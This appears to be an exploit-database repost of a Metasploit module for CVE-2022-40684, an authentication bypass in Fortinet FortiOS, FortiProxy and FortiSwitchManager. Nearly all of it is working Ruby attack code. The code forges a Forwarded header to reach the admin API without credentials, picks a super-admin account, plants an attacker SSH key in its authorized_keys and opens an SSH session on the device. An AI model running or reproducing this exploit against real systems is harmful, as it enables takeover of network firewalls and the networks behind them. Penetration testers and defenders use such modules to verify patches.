Fortinet FortiOS / FortiProxy / FortiSwitchManager Authentication Bypass

2022.10.19
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SSH prepend Msf::Exploit::Remote::AutoCheck attr_accessor :ssh_socket def initialize(info = {}) super( update_info( info, 'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.', 'Description' => %q{ This module exploits an authentication bypass vulnerability in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API to gain access to a chosen account. And then add a SSH key to the authorized_keys file of the chosen account, allowing to login to the system with the chosen account. Successful exploitation results in remote code execution. }, 'Author' => [ 'Heyder Andrade <@HeyderAndrade>', # Metasploit module 'Zach Hanley <@hacks_zach>', # PoC ], 'References' => [ ['CVE', '2022-40684'], ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'], ['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'], ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2022-10-10', # Vendor advisory 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Targets' => [ [ 'FortiOS', { 'DefaultOptions' => { 'PAYLOAD' => 'generic/ssh/interact' }, 'Payload' => { 'Compat' => { 'PayloadType' => 'ssh_interact' } } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']), OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]), OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]), OptString.new('KEY_PASS', [false, 'SSH private key password', nil]), OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]), OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true]) ] ) end def username if datastore['USERNAME'] @username ||= datastore['USERNAME'] else @username ||= detect_username end end def ssh_rport datastore['SSH_RPORT'] end def current_keys @current_keys ||= read_keys end def ssh_keygen # ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8` if datastore['PRIVATE_KEY'] @ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key( File.read(datastore['PRIVATE_KEY']), datastore['KEY_PASS'], datastore['PRIVATE_KEY'] ) else @ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1') end end def ssh_private_key ssh_keygen.to_pem end def ssh_pubkey Rex::Text.encode_base64(ssh_keygen.public_key.to_blob) end def authorized_keys pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob) "#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost" end def fortinet_request(params = {}) send_request_cgi( { 'ctype' => 'application/json', 'agent' => 'Report Runner', 'headers' => { 'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\"" } }.merge(params) ) end def check vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}") # a normal request to the API should return a 401 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)), 'ctype' => 'application/json' }) return CheckCode::Unknown('Target did not respond to check.') unless res return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401 # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable res = fortinet_request({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/system/status') }) return CheckCode::Safe unless res&.code == 200 version = res.get_json_document['version'] print_good("Target is running the version #{version}, which is vulnerable.") Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock } CheckCode::Vulnerable('And SSH is running which makes it exploitable.') end def cleanup return unless ssh_socket # it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method data = { "ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""' } fortinet_request({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/system/admin/', username), 'data' => data.to_json }) end def detect_username vprint_status('User auto-detection...') res = fortinet_request( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/system/admin') ) users = res.get_json_document['results'].collect { |e| e['name'] if (e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0') }.compact # we prefer to use admin, but if it doesn't exist we chose a random one. if datastore['PREFER_ADMIN'] vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.") users.include?('admin') ? 'admin' : users.sample else vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.") (users - ['admin']).sample end end def add_ssh_key if current_keys.include?(authorized_keys) # then we'll remove that on cleanup print_good('Your key is already in the authorized_keys file') return end vprint_status('Adding SSH key to authorized_keys file') # Adding the SSH key as the last entry in the authorized_keys file keystoadd = current_keys.first(2) + [authorized_keys] data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h res = fortinet_request({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/system/admin/', username), 'data' => data.to_json }) fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500 body = res.get_json_document fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/ end def read_keys vprint_status('Reading SSH key from authorized_keys file') res = fortinet_request({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/system/admin/', username) }) fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200 result = res.get_json_document['results'].first ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key| result[key].gsub('"', '') unless result[key].empty? end.compact end def do_login(ssh_options) # ensure we don't have a stale socket hanging around ssh_options[:proxy].proxies = nil if ssh_options[:proxy] begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do self.ssh_socket = Net::SSH.start(rhost, username, ssh_options) end rescue Rex::ConnectionError fail_with(Failure::Unreachable, 'Disconnected during negotiation') rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, 'Timed out during negotiation') rescue Net::SSH::AuthenticationFailed fail_with(Failure::NoAccess, 'Failed authentication') rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") end fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket end def exploit print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}") add_ssh_key vprint_status('Establishing SSH connection') ssh_options = ssh_client_defaults.merge({ auth_methods: ['publickey'], key_data: [ ssh_private_key ], port: ssh_rport }) ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG'] do_login(ssh_options) handler(ssh_socket) end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top